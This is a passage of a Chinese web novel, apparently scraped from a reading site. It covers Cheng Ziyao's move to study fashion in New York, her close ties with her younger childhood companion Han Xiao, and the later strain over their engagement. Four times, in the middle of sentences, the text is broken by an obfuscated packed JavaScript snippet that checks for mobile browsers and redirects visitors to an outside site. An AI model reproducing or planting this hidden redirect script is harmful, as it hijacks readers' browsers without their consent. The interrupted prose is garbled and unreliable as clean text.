程老夫人陆陆续续交代了许多,末了犹豫着加了句:“一会儿我去跟你爸打电话说吧,你别看你爸那个样子,其实还是很挂记你的。” 程姿遥知道祖母是在打圆场,并不揭穿,但也没表态。 第二个由她亲口告知的便是韩逍。 这个年纪的男孩都爱打篮球,但少年有轻微洁癖,受不了打球后的汗流浃背,因而独爱游泳,在校运会上还拿过第一。 彼时少年刚在自家新建的室内恒温泳池游过几个来回,注意到程姿遥进门后,游到池边,摘掉泳帽和眼镜,下一秒手臂往池边一撑,整个人便脱水而出。 程姿遥问:“是不是打扰你了?” 韩逍又长个儿了,现在已经比她高出好一截,他娇生惯养不爱晒太阳,所有运动都是室内的,皮肤比女孩还白,又因为酷爱游泳,臂膀胸腹都是结实的肌肉,曲线优美,精壮而有力,在少年的修长青涩上增添了几分性感。 “没事,反正也是游着玩儿。”他取下泳镜和泳帽,甩了甩湿漉漉的头发,然后用手将湿发往后一捋,露出一双亮若晨星的黑眸,“游泳哪有和姐说话有意思。” 程姿遥盯着他脸上的一颗水滴顺着滑到了他的鼻尖,与那颗淡痣重合,只觉心里感觉有些微妙,像是有一片羽毛轻轻拂过。 她告诉了韩逍尘埃落定的事,少年似乎毫不意外,露出两排整齐的白牙笑着说:“我就知道遥遥姐肯定可以的,多久出发?” 程姿遥说:“秋季学期入学的话,我应该7月就要走,提前去那里适应。” 少年方才还笑容满面,转眼就愁云惨淡:“那么快?” “还有好几个月呢。” 少年突然抱住了她,孩子气地哼唧道:“我不要你走!” 程姿遥被这么湿哒哒地抱着,身体僵住了——少年的手臂与她肌肤相接,她能感受得到对方因为刚从水里出来而略凉且湿润的肤感。 自韩逍上初中后,这还是他们第一次拥抱。 接着又听韩逍闷闷地说:“万恶的资本主义满是腐朽的诱惑,姐去了那边会不会光顾着看金发碧眼的帅哥模特,不记得我了。” 程姿遥笑了:“说不定?” “!”韩逍报复似的在她脸侧甩了甩头发,愤愤地说,“那更不许走了!” 程姿遥的头发和脸都被溅上了水,肩膀处的衣服也蹭湿了,她无奈地说:“好了,小逍,别闹,我开玩笑呢,你快去搭件衣服,别感冒了,不然我生气了。” 闻言,韩逍才放开她,眼睛微眯,像是生气的猫儿:“那遥遥姐要答应我,出国后不许把我忘了,要等着我来。” “好的好的,等你。”程姿遥去桌上找到了韩逍的浴巾给他披上,“一有假期我会马上回来看你的,你要是想我了,也可以过来找我。” 韩逍幽幽地说:“还要天天打电话和视频。” 程姿遥一一答应:“嗯嗯,依你,都依你。” 第三个也是最后一个人,是叶沁萱。 虽说从高一下学期分科认识以来,她们的友情看起来都是叶沁萱主动次数更多,她总是不冷不热的,但实际上在程姿遥内心深处,是十分重视这个好朋友的。 毕竟,这么多年,她都和人泛泛而交,真的论要好,只有这么一位。 叶沁萱恋家情结严重,打算留风城本地上大学,不久前也通过了风大的自主招生,凭她平时的成绩,高考时只要别出什么大岔子,去风大几乎是板上钉钉的事。 “以后放假我去纽约找你玩!”叶沁萱是乐天积极的性格,大咧咧的,就算因为即将面临分别而难过,也会往好处想,“说实话,我不喜欢美国,没什么历史底蕴,不过既然姐妹你过去了,那我勉为其难好感一下它吧。” 程姿遥莞尔:“到时你可以和小逍结伴来,正好他一个人我也不放心。” 叶沁萱嫌弃地说:“嘁,谁要和那个臭小鬼一起啊!” “沁萱,拜托你一件事。”程姿遥郑重其事地说,“我出国后,还麻烦你替我多照顾看护一下小逍,风大离我们学校很近,你帮我时不时来看看他。” 叶沁萱一头黑线:“你这真是操着当妈的心。” 不过转念一想,她还是答应下来:“好吧,想想也是,这小子一肚子花花肠子,我得帮你好好盯着他,免得他背着你乱来!” 程姿遥笑着说:“嗯,多谢。” 相聚的时间总是短暂,当风城进入盛夏,离开的日子如约而至。 出乎程姿遥意料的是,在她出发的那一天,她的继母秦惜带着程黎生来了。 “小槿,抱歉,你爸爸出差了,没能赶过来送你。”秦惜是典型的南方女子,纤瘦小巧,说话温声细语,连眉眼都像是春雨化的,这么多年程姿遥还没见她生气的样子。 程姿遥自是知道这些都是体面的托辞,也不放在心上:“嗯,有劳秦阿姨跑这一趟了。” “太生分了,小槿。”秦惜看她时总是忧心忡忡的,仿佛担心她下一秒就误入歧途,“外面不比家里,好好照顾自己。” 程姿遥说:“随行的有兰姨找好的管家,到了纽约后,也有提前联系好的保姆。” “那就好,那就好。”秦惜迟疑着说,“小槿,等你念完书了,就回龙城来吧,你爸爸那里我会尽力去说的。” “……” 程姿遥知道这个女人没有恶意,是真挺单纯的,不然也不能无怨无悔地等程祖皓那么些年,对待她也不是什么恶毒的后妈。 但她内心真的深深排斥着秦惜,因为她从小就感觉秦惜看她的目光总是充满怜悯,是在努力地去“施舍”她什么。 见她不说话,秦惜有些小心翼翼地问:“小槿?你觉得怎么样?” “到时再说吧,我先走啦。”程姿遥微微一笑,“对了,秦阿姨,您还是叫我遥遥吧。” 她的小名是赵恩禾取的。 赵恩禾喜欢朝开暮落的木槿花。 秦惜一愣。 “姐!” 转头望去,不出意外撞入视线中的是韩逍烂漫的笑脸,他一件白T配牛仔裤,十分清爽休闲,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340453|152614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备随车送她去机场。 程姿遥的笑容有了温度:“小逍。” 韩逍见过秦惜,正要出于礼貌打个招呼,就听一个不虞之音响起:“你喊谁姐?” 少年垂眼一看,故作疑惑:“嗯?这是?” “说起来也是阴差阳错,之前本来有好几次机会的,没想到现在你们才见第一次面。”秦惜主动介绍她身边的男孩,“小逍,这是小……遥遥的弟弟,黎生。风风,这是你韩逍哥哥,妈妈之前跟你说过的。” 程黎生今年满十岁,却没有同龄人的活泼,打小一副苦行小僧的模样,过分老成,小小年纪就总心事重重的样子,很少展露笑颜。 不像韩逍,总是笑容灿烂,就算都初三了,还喜欢追着程姿遥一口一声“姐姐”地叫着,好像叫多了有红包拿似的。 程姿遥好像没怎么听过程黎生喊她“姐姐”。 韩逍唇角噙着笑,朝程黎生伸手:“噢,你就是黎生弟弟啊。巧了,我也是遥遥姐的弟弟,幸会幸会。” 小黎生个头输太多,只有梗着脖子瞪着韩逍:“你才不是她的弟弟!” 秦惜蹙眉:“风风!怎么能这样和哥哥说话呢?” 韩逍哈哈一笑:“怎么就不能是了?” 小黎生瞪大了眼睛,凶巴巴地说:“我爸爸只有我们两个孩子!” 韩逍乐了:“谁说只有你爸爸的孩子才能是遥遥姐的弟弟?那你和遥遥姐还不是同个妈妈呢,我只不过连老爸都不是同一个而已,怎么就不能喊她姐姐?” 虽然对方只是个少年,而且语气仿佛只是无意开个玩笑,但却令秦惜倍感尴尬。 程姿遥皱眉,制止道:“小逍。” 没想到小黎生也那么倔:“反正我才是她亲弟弟!” 韩逍哼道:“你连一句‘姐姐’都不会叫,算哪门子的亲弟弟?” 小黎生看起来快哭了:“我不喊!但你也不准喊!” 程姿遥被吵得一个头两个大,拉着韩逍对秦惜说:“秦阿姨,时间不早了,我先去机场了,您和风风留下来陪陪奶奶吧。” 言下之意便是不让秦惜带着儿子送到机场了,秦惜神色黯淡:“好,登机的时候来个电话。风风,祝姐姐一路平安,姐姐要出国了。” 但小黎生估计被韩逍气到了,甩开秦惜的手,转身就跑了。 韩逍说:“嘿,这熊孩子。” 程姿遥拍了身旁的准高中生一下,对秦惜微笑:“没事的,秦阿姨,我们先走了。” 程老夫人本来是要亲自送她去机场的,但奈何前天下雨吹风,患上了热感冒,再加上这几日每每提起孙女要走,祖母都红了眼圈,程姿遥怕她到了机场伤心坏了身体,所以就没让她送。 今日万里无云,阳光明媚,是一个起飞的好天气。 兰姨和韩逍一路送她到了机场,过安检口之前,兰姨哽咽着叮嘱了程姿遥许多,然后转身又去交代随行的管家了。 毕竟是要去异国他乡了,程姿遥也充满不舍,本来这几天都在强忍着心头离别的难过,情绪看起来控制得不错,但方才听兰姨含泪叮嘱的那些事,一下子有些绷不住,在兰姨转身的那一刻酸了鼻头。 “遥遥姐”韩逍靠近,轻声说,“你看天气多好啊。” 不过是一句再普通不过的话语,却彻底冲开了程姿遥的泪闸。 韩逍用纸巾为她拭泪,笑着说:“可算是哭了,不然我真以为遥遥姐的心是铁做的,都不会不舍得我们。” 程姿遥被他这句话逗笑了,正打算说些什么,抬头看向他,却发现少年虽是笑着,但眼睛也红了。 二人对视数秒,谁都没说话,像是想把此刻的彼此都印在脑海中。 片刻,韩逍执起她的手,弯腰亲了亲她的手背,再抬眸时,又是那笑如弯月的眼。 “姐姐,等我。” 12. chapter 12 程姿遥在纽约适应得还不错。 曼哈顿充斥着纸醉金迷的味道,和风城其实有相似之处,有时候程姿遥行走在那些高楼大厦和绚烂的霓虹之间,再加上纽约华人不少,时不时就能听到字正腔圆或带方言口音的中国话,一恍惚会以为自己漫步在风城最繁华的地带。 帕森斯是全美最高的艺术设计学府,而程姿遥所就读的时装设计专业更是学校的王牌专业,一个专业有三百人左右。 最初的两年是找方向的两年,程姿遥在学校会和其他同学一样,参加大量的project和跨专业课程,以确定自己的创作风格。 设计学院所在的校区位于第五大道,玻璃墙外可以看到人潮拥挤的街景,这里离纽大很近,所以程姿遥不泡studio的时候通常就会选择去纽大的图书馆或去听公开课。 与此同时,叶沁萱在国内顺利地考入了风大的新传系,而韩逍也升入高中。 每个人都忙着过自己的生活,当初分离的忧愁似乎消失在成长的道路上。 时间和环境赐予了程姿遥成长,她的内向逐渐转换为内敛,也变得没有那么独来独往,课余开始有了一点自己的交际圈——她渐渐会参与一些纽约华人圈组织的郊游活动,会参与同学家里办的Party,会去hiking,去看歌剧,甚至偶尔还会去附近教堂看别人做礼拜。 她性格好,身上又带着大户人家出来的教养与气质,很叫人喜欢,愿意和她做朋友的人很多。 “噢,老天!”这天下课,目击杂七杂八的材料从程姿遥的储物柜如洪水般漫出来全过程的白人同学惊呼一声,“Sophie,你必须得去申请个更大的locker了。” 在帕森斯,openstudio外面就是一排排红色的locker,用来存储设计学院学生们各自的物品,随着年级的升高,学生可以申请容量更大的柜子,她现在大二了,符合要求。 “谢谢你,Jane,我会去申请看看的。”程姿遥是个爱整洁的人,东西总是收得一丝不苟,只是她报名参加了学校的一次义卖比赛,这几天都在赶工,一不留神就成这样了。 Jane蹲下身帮她一起收拾漫出来的东西,突然语气八卦起来:“哇,这个可爱的男孩是谁?” 程姿遥抬头一看,原来Jane拿到了她平时乱涂乱画的草稿,上面有好几张她无聊时画的速写。她伸手去拿,解释说:“一个朋友。” “只是朋友吗?”Jane明显不信,用那双海蓝的眼睛笑望着她,打趣说,“这就是你拒绝Roman的原因?” 程姿遥微笑:“我拒绝他是因为他并不是真的喜欢我,他只是有严重的yellowfever。” 她这次参加的校内比赛是面向全学院的,只规定了两个要求:一是以环保为主题,二是以解构主义为风格。最终做成的成品不限形式,可以是服装,也可以是摄影、展板、画布等,入选者最终会放于市区的展厅参与拍卖,拍卖所得均捐给环保公益组织。 这个比赛最终是以拍卖价格的高低评判名次,然而听往届学长学姐们说,东西能卖出去就很不错了,最尴尬的是无人拍卖,最后只有自己灰溜溜地抱着作品回来,还不如不入围。 入选确定的那天,程姿遥和韩逍视频。 因为时差原因,他们每次视频的时间都比较固定,工作日通常是韩逍放晚自习而她这边快中午的时候,如果是周末视频的话有时会换个次序。 一段时日不见,韩逍似乎又成熟了一点,如今他也高二了,是一名理科生。 “困死了。”韩逍已经过了变声期,声音变得低沉磁性了些,但依然有几分从前少年清朗的影子,“遥遥姐,我好困。” 程姿遥看他已坐在了韩家的车上,车外早已是深夜沉沉,于是温声说:“那你先在车上睡会儿吧,之后再聊。” “我不,已经很久没和你视频了,挂了这次都不知道下次是什么时候。”韩逍把胳膊抵在车窗,手撑着脸侧,仔细地端详着屏幕里的女生,“遥遥姐,你好像瘦了,没有好好吃饭吗?” “没瘦,可能只是角度问题吧。”程姿遥最近确实忙瘦了,但她不想让对方担心,“对了,我参加了一个比赛……” 接着,她把自己参赛入选的事情简单说了下。 听完,韩逍哼道:“算他们有眼光。”大概是因为带了倦意,他说话间带点鼻音和沙哑。 程姿遥稳了稳心神,继续说:“不过我听学长学姐说,要拍卖出去挺难的,毕竟我们还只是学生。” 韩逍不以为意:“有线上拍卖吗?我买姐的作品。” 程姿遥笑了:“没有,再说了,你买就没意义了。” 韩逍懒洋洋的,似漫不经心地笑着说:“遥遥姐的一切我都想拥有,怎么叫没意义了?” 程姿遥愣了下,不知道是不是纽约今日的阳光太过灿烂,灼得她脸都微微发烫。 后来展览很顺利,她的作品成功被拍卖出去,价格在历年来算是不错的成绩。 托这次比赛的福,她的能力被一位毕业多年、创业后在整个北美时尚圈都小有名气的学姐相中,提前预定下了她的假期实习,因此她不能再像大一那样常常回国享受假期了。 学姐Eileen是华裔,中美混血,中文说得不错。 她对程姿遥颇为照顾,闲暇时期还会帮她看草稿。 “Sophie,你的创作很棒,但我总有种奇怪的感觉。”一次下午茶时间,她一边抽着烟一边看程姿遥的原创,问,“告诉我,你创作的动机是什么呢?是什么支撑着你设计的这些女装?” 程姿遥想了想,回答:“应该是我的母亲,她去世很多年了。” Eileen闲谈似的问:“她是个怎样的人?” “严厉,强势,固执。” “但你的创作总是看起来十分柔和。” “大概是因为,”程姿遥顿了顿,“我想设计出即使是像我母亲那样的女性穿上去后也能显得温柔的衣服吧。” Eileen笑了:“为什么要显得温柔?温柔就那么好吗?” 程姿遥一愣。 Eileen继续追问:“为什么想要改变你的母亲?这是她的愿望吗?如果是的话,你觉得她需要改变吗?” “她……” “Sophie,可能是我感觉错了,似乎你总在追寻着谁的影子。”Eillen吐出一缕袅袅白烟,像极了程姿遥此刻心底答案前的迷雾,“大家都说你是个温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340454|152614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和的人,但你真的是吗?” 迷雾拨开,程姿遥沉默不语。 其实她这段时间也隐约开始意识到了,出现在她灵感深处的人,不是她的母亲。 她潜意识里追寻的、模仿的对象,是她的继母秦惜。 见她不说话,Eileen拿出手机给她推了一个网络账户的主页,然后叼着烟说:“这个女孩好像是一个中国本地的学生,在国际论坛很活跃,她的女装设计很有灵魂,或许你们可以尝试交流一下。” 这时谁也没想到,这女孩在几年后会成为程姿遥的合伙人。 …… 春去秋来,当程姿遥迎来大三的春假时,国内传来了韩逍的好消息。 然而由于春假她在Eileen的工作坊里走不开,所以直到放暑假的时候,她才请了一个月假,回国帮韩逍准备出国的事。 韩逍考上的是哥大,离帕森斯半个多小时车程,不过也在曼哈顿,交通方便,住她现在住的地方也可以——韩程两家都希望他们出国留学期间可以同居,好好培养一下感情,这样等回国后订婚水到渠成。 她现在住的公寓在曼哈顿的中心区算相当豪华的了,哪怕住她和韩逍两个人,再加一个管家,都绰绰有余。 距离上次回国,已经过去了整整一年,程姿遥首先回家放了行李,看了祖母和兰姨,发现只是一年不见,祖母的头发白了好多。 “以前也白,我是少年白发,正常的。”程老夫人还安慰她,“以前染得勤,所以不觉得,现在人越发懒了,明天就找师傅给我染染。” 程姿遥握紧了祖母的手,轻声说:“我给奶奶染吧。” 程老夫人反握住孙女的手,笑着说:“那可不行,这可是大设计师的手,怎么能给我这个老太婆染头发。” 程姿遥也笑了:“那我保证给奶奶染出大设计师的风采,好不好?” 程老夫人嘴上说着拒绝,但后来还是任由她了。 程姿遥盯着祖母眼角的皱纹,心里五味杂陈——祖母真的老了,小时候那么不苟言笑,板着张脸,但现在送她离开会落泪,迎她回来会笑眯了眼。 在她回来前,一场台风席卷风城。 没太严重,就是把程家老宅的花园搅得乱七八糟的,往年都是找人清洁打扫,这次程老太太一时兴起,想着干脆重装翻新。 程姿遥房间离花园最近,每天她醒了后,兰姨才会喊工人进来。 小时候她荡过的秋千也被拆了,那里是她和小韩逍邂逅的地方,那棵大槐树倒没有移,程姿遥从窗台望过去,依稀可以回忆起小韩逍坐在树下装睡的样子。 正出神着,就见拐角出现了一个挺拔颀长的身影,带着似曾相识的少年意气与明朗,稍显陌生的锋芒初露。 当年的男孩长成了少年,少年又即将步入成年。 程姿遥目不转睛地盯着向她走来的韩逍,一年来忙碌的学业与实习让她以为自己已然淡化了思念,但直到再见到这个人时,才发现一切不过是像龙城冬天的湖面一样结了冰,待到春暖花开之际,冰雪消融,湖水依旧。 而此刻,湖面吹来初春第一缕微风。 “遥遥姐,我好想你。” 男生的笑容化作暖阳,将冰雪彻底融化。 13. chapter 13 临近和韩逍一同出国,韩逍说要和他的好哥们话别,组了个饭局,把程姿遥也带上了,说介绍给她认识。 之前程姿遥就听韩逍陆陆续续提过这个哥们,是他分科后的同班同学,一个叫李崇昂的男生,叶沁萱也跟她说过,说他们两个一起参加了个中学生编程比赛还拿了个奖,但被韩重林痛斥不务正业。 和程姿遥恰恰相反,韩逍被寄予厚望。 韩家现在当家是韩重森,作为弟弟的韩重林指望着通过儿子之间的竞争来扳回一城。 出乎程姿遥意料的是,这个李崇昂性格十分稳重,看起来比韩逍要老成不少,相貌英俊,个头也很高,一双眼睛蘸了墨一样,整个人身上都散发着生人勿近的气场。 他对程姿遥十分礼貌:“姿遥姐,初次见面,我是李崇昂。” 程姿遥微笑:“早就听小逍说起你了。” 韩逍懒洋洋地问:“遥遥姐,你不是还约了叶沁萱?” “沁萱今天来不了了,刚才发消息跟我说家里有点事。” 韩逍笑着哼了一声,颇为不屑,看来他和叶沁萱的关系在这三年都没得到缓和。 李崇昂垂着眼,盯着面前的杯子,安静得像是一座雕塑。 程姿遥怕冷场,主动找话聊:“崇昂认识沁萱吧?” 李崇昂点点头:“见过。” “遥遥姐,你回来后叶沁萱也就只见过你一次吧?”韩逍在一旁似是玩笑地说风凉话,“我看那女人早就变心了,遥遥姐你干脆也别理她了。” 程姿遥说:“别这么说,上次我见她时感觉她有些憔悴,应该确实很忙。” 韩逍哼道:“谁知道是为了什么呢。” 时间真的能够让人成长与改变,高考后还因为恋家而决定要留在风城读大学的叶沁萱,最近居然有了出国读研的念头,上次见面时她告诉程姿遥,她准备考英国的学校。 这让程姿遥不由地有些担心是不是叶家内部出了什么问题,但任她怎么试探,叶沁萱都不肯说。 很快就到了二人出国的日子。 离开故土,前往海外求学,韩逍好像并没有跟程姿遥大一开学时一样不舍,全程都很开心的样子,没有红一次眼圈。 坐在飞机上,程姿遥小声地凑到他耳边说:“你要是难受别憋着,没什么不好意思的。” “我为什么要难受?”韩逍的眼睛亮亮的,仿佛有星光在闪烁,星光直漏进人心里,“新的版图等我开拓,腐朽的资本主义社会等我去征服,我兴奋都来不及。” 程姿遥感慨:“你倒是一点都不恋家。” 韩逍笑了:“遥遥姐,恋巢的话又岂能鹏程万里?” 可能是因为有韩逍在身边,程姿遥第一次觉得这漫长的飞行没那么乏味。 两人一起看了两部电影,又相互依偎着睡了一会儿,聊了聊彼此生活的事情。 等他们到达的时候,纽约正是傍晚,管家雇了车来接。 在飞机上睡了一顿,韩逍此时看起来很精神,一直撑着头盯着窗外的景色:“哇——” “怎么了?惊叹得这么不真诚。”程姿遥知道韩逍从小就满世界的旅行,什么稀奇没见过。 韩逍手撑着脸,笑着侧目看她:“我是在想,我终于可以共享遥遥姐眼中的风景了。” 程姿遥只觉得他连睫毛的轻颤都仿佛在散发着一种无色无味的致幻剂,令她头脑发晕。 韩逍显然心情不错,一路还哼起了小调,是程姿遥最喜欢的一首歌——《乱世佳人》的主题曲《MyOwnTrueLove》。 程姿遥住的是一套跃层公寓,管家大叔不随住,随住的只有一位佣人阿姨,住在1楼的客卧,而韩逍搬进来后就住她对面的房间,都在楼上。 到家后阿姨已经备好丰盛的宵夜,二人吃完饭后着手开始收拾,直到这一步程姿遥都觉得一切如常,没有太多同居的实感。 尤其是各自进了房间后,又是个人的空间,两人房间之间的走廊仿佛不过是程韩两家老宅之间的院道。 然而深夜,她的房门被轻轻扣响,她以为是阿姨送夜宵,打开门却微微一愣。 只见韩逍已经换上了一身暗茶色的睡衣,身上散发着一种好闻的香味,那是同款洗发水沐浴乳香气在经男子体温热度镀过后的味道。 他额前的散发随意地散落,整张脸看起来乖巧无邪,尤其是配上鼻尖的那颗淡痣。他的笑容带着丝狡黠:“我看门口透着光,就知道你肯定也没睡。” 程姿遥一旦投入工作,就会全神贯注,现在一下子被拉回生活中,看着面前的男子一时有些恍惚,甚至需要几秒的思考——小逍怎么会在这里?噢,对了,他们一起来的,小逍现在也住在这里了。 她回过神来,解释道:“我倒时差,睡不着。” “好巧,我也是。”韩逍笑眼弯弯,“一个人待着太无聊了,我可以进来吗?” 程姿遥这才注意到他左右手各拿着一杯热牛奶,原来是早有预谋,她莞尔:“当然可以啦,但我在工作,很乏味的,不能时时陪你说话。” “不要紧,只要能和遥遥姐待在一起就行了。” 听他这么说,程姿遥也不好拒绝,只有放他进来。 一进门,韩逍十分熟练地坐到了她桌子旁:“遥遥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340455|152614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐怎么戴上眼镜了?” “读大学后老熬夜画图,轻微近视,就配了一副,工作时戴。” “要注意休息啊,常做眼保健操,我监督你。” “好啊。”程姿遥也坐了下来,随口答应道。 “高中毕业都三年了,你还记得怎么做嘛?”不料韩逍径自突然倾身伸手摘下她的眼镜,指尖触碰她眉骨下的穴位,“喏,这是第一节的地方……” 经过体温加热过的同款洗浴香气扑面而来,与自己身上散发的味道相似,但又不尽相同,混杂着空气中弥漫的淡淡牛奶味,闻得程姿遥顿时感觉身体轻飘飘起来,耳边男子的低语都快听不清了。 回过神时,就对上男生的笑眼:“遥遥姐,你热吗?耳朵好红。” 程姿遥有些心虚地垂眼:“……嗯。” “那我给你扇扇。”韩逍笑眯眯地退了回去,当真用手当扇子给她扇了两下。 程姿遥有些尴尬和说不上来的甜蜜,她知道韩逍不是没有开窍的少年,每当这样暧昧不清的时候,她总有种被回应了的欢喜。 韩逍不知她的小心思,看了眼她桌上的草图:“感觉遥遥姐最近都在设计男装?以前不是以女装为主吗?” 谈到专业问题,程姿遥冷静下来几分:“嗯,换个思路。” “男装好呀。”韩逍毫不客气地说,“以后我来做你的模特吧!我想穿你做的衣服!” 程姿遥欣然允之:“好啊。” 韩逍对纽约的适应能力比她想象中的还要快。 他本就外向,又有十足的好奇心和探索欲,不出十天就已经把住所周围一带的商铺景点都摸了个透彻,和外国人攀谈起来也毫不露怯,有次还差点把local忽悠了,不像程姿遥初来乍到时和人交谈还不太熟练。 程姿遥感觉自韩逍来了后,家里一下子有了烟火气。 然而她毕竟是高年级了,进入大三后愈发忙碌,工作日在studio过夜也是常有的事,还时不时出国见习,所以虽然同住一个屋檐下,但她和韩逍形影不离的时间大不如在国内时,特别是后来韩逍在纽约也有了自己的交际圈和要忙碌的事。 但周末假期一旦时间对上了,他们就会约着一起逛超市,一起看视频,一起做顿饭,一起出门看场电影或演出,一起去公园散步,或是一起短期旅行…… 相信双方家族在收到管家反馈的情报后都会十分欣慰。 在旁人眼中,他们俨然是一对亲密的情侣。 只有他们自己知道,他们的肢体接触始终都在暧昧边缘,从不逾矩。 ——直到程姿遥大四那年的平安夜。 14. chapter 14 韩逍是行动派,说搬第二天就搬进来了。 时隔一年多,两人再次住在了一起,却已是今时不同往日。 程姿遥请阿姨把一楼的房间打扫了出来,韩逍似乎有些不满:“我住客房?” “楼下出入方便,你也不用担心被我监视。”程姿遥淡淡解释道,听起来似乎是出于体贴的考量。 韩逍搬东西的动作一滞。 随后,他回头,微微睁大双眼,露出了最拿手的无辜神情:“遥遥姐,你怎么会这么想?” 程姿遥别过视线,不发一语。 “我是说真的。”韩逍一边坐着收拾东西,一边语气自然,径自说道,“我从来不担心遥遥姐知道我的计划。” 程姿遥沉默了几秒,问:“因为觉得我也没有本事干预?” 韩逍将物件摆正,理所应当地说:“是因为我知道无论我做什么,遥遥姐都会由着我,从小到大都是这样。” “……”程姿遥要被他的厚颜无耻给气笑了,“你说得对。” “可是我不知道为什么遥遥姐最近变了。”韩逍仿佛真的不知道缘由似的,一双黑眸直直地望向她,这种从下往上看的角度显得他有几分可怜,像是被抛弃路边的大型犬。 相处多年,程姿遥早看穿了他的演技:“你知道的。” “我真的不知道。”韩逍耸了耸肩,“难道是因为我提出解除婚约?难道遥遥姐对我好只是因为婚约关系?如果是这样的话,那我可太伤心了。” 这大概就是韩逍从小被认为性格恶劣的原因之一。 颠倒黑白时眼睛都不眨一下,转瞬将自己摆在受委屈的位置上,说得像真的一样。 程姿遥曾很多次被他这样忽悠过去。 从不明所以,到明知故犯、饮鸩止渴,再到自欺欺人、懒得计较。 最后只剩下心灰意冷、满目疮痍。 解除婚约只是一个导火索。 压死骆驼的最后一根稻草还是“稻草”。 程姿遥疲于与男人周旋,也不否认,干脆应下:“没错,就是这样。” 韩逍眼色暗了暗,但脸上依然保持微笑:“遥遥姐说气话呢?” “信不信在你。”程姿遥缓缓地说,“这次由着你搬进来,也不过是不想节外生枝,让奶奶能安心养病。你有你的目的,我也会有我的目的。” 韩逍唇角一僵:“那等你目的达成后呢?” 程姿遥反问:“小逍,除去了婚约关系,你觉得我们是什么关系?” 朋友?他们比朋友更亲密,但又时刻警惕彼此。 恋人?他们之间从未有表白,而韩逍也肆无忌惮地交过几个女朋友。 青梅竹马?他们的相识相伴全是家族撮合,掺杂着太多不纯粹的算计。 不出意料,韩逍回答:“遥遥姐,相处那么多年你待我像亲弟弟一样,我也从心底里把你视作姐姐,是我重要的亲人。” 程姿遥笑了,本以为麻木的心竟又隐约有些酸涩:“是了,所以达到目的后,我们解除婚约,当然就是以普通姐弟关系相处。” 韩逍微微昂首,凝视着她,像是想将她的思绪看穿。 不出两人所料,程祖晧秦惜夫妇从龙城赶了过来,而程老太太在昏迷了两天后终于醒来了,转出了ICU病房,病情暂时稳定,还不能走动,说话还不大利索。 韩逍每天陪程姿遥去医院看望,时间和程祖晧夫妇错开,看起来和往常并无二致。 “好孩子。”程老太太躺在病床上,将两个后辈的手交叠在一起,再覆上自己爬满岁月痕迹的手,说话吃力含糊,“要好好在一起,夫妻同心,相互扶持。” 兰姨在一旁削水果,听到笑了:“老夫人,他俩还没订婚呢。” “早晚的事。”程老太太缓缓地说,“小槿,要照顾好小逍。” 程姿遥看着祖母现在的样子,很是难受:“嗯,好。” 韩逍在一旁信誓旦旦:“程祖母,我会照顾好遥遥姐的,您快点好起来,到时候好好检验一下。” 程姿遥看了他一眼,只见他满脸真诚,说得和真的似的。 程老太太眼睛里泛起了泪光:“好,好……我要看我的小槿,和小逍,相互扶持,幸福,快乐。” 见老人如此,程姿遥也悄然红了眼眶。 程老夫人精神还不太好,和小辈们聊了一阵后便又睡下了。 兰姨把他们送出病房,告知道:“姿遥小姐,家主今早上过来时说,等过几天老夫人病情稳定了,就带老夫人转院去龙城,他们也好在跟前尽孝。” 程姿遥愣了下:“奶奶怎么说?” “老夫人答应了。” “……好,那等时间定下了,告诉我吧,我送一送奶奶。” “那当然是要告诉小姐的,到时我也会跟着老夫人去。”兰姨这段时间看上去一下子老了好几岁,白发都从发间跳了出来,“老宅的人,小姐随意调动,一定要保重身体,和韩逍少爷好好的。” “嗯,好。” 走出医院,上了车后,韩逍卸下脸上专属于“后辈”身份时的乖巧微笑,嘲讽道:“平时见不着人,等到真的生病才记得要尽孝了,还要折腾程祖母。” 程姿遥叹气:“算了,奶奶也是愿意的,这么多年她虽然不说,但还是很记挂我爸的。” “之后我陪你去龙城看望程祖母吧” “不必了,我自己可以应对。”程姿遥系好安全带,“送我去工作室吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340456|152614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 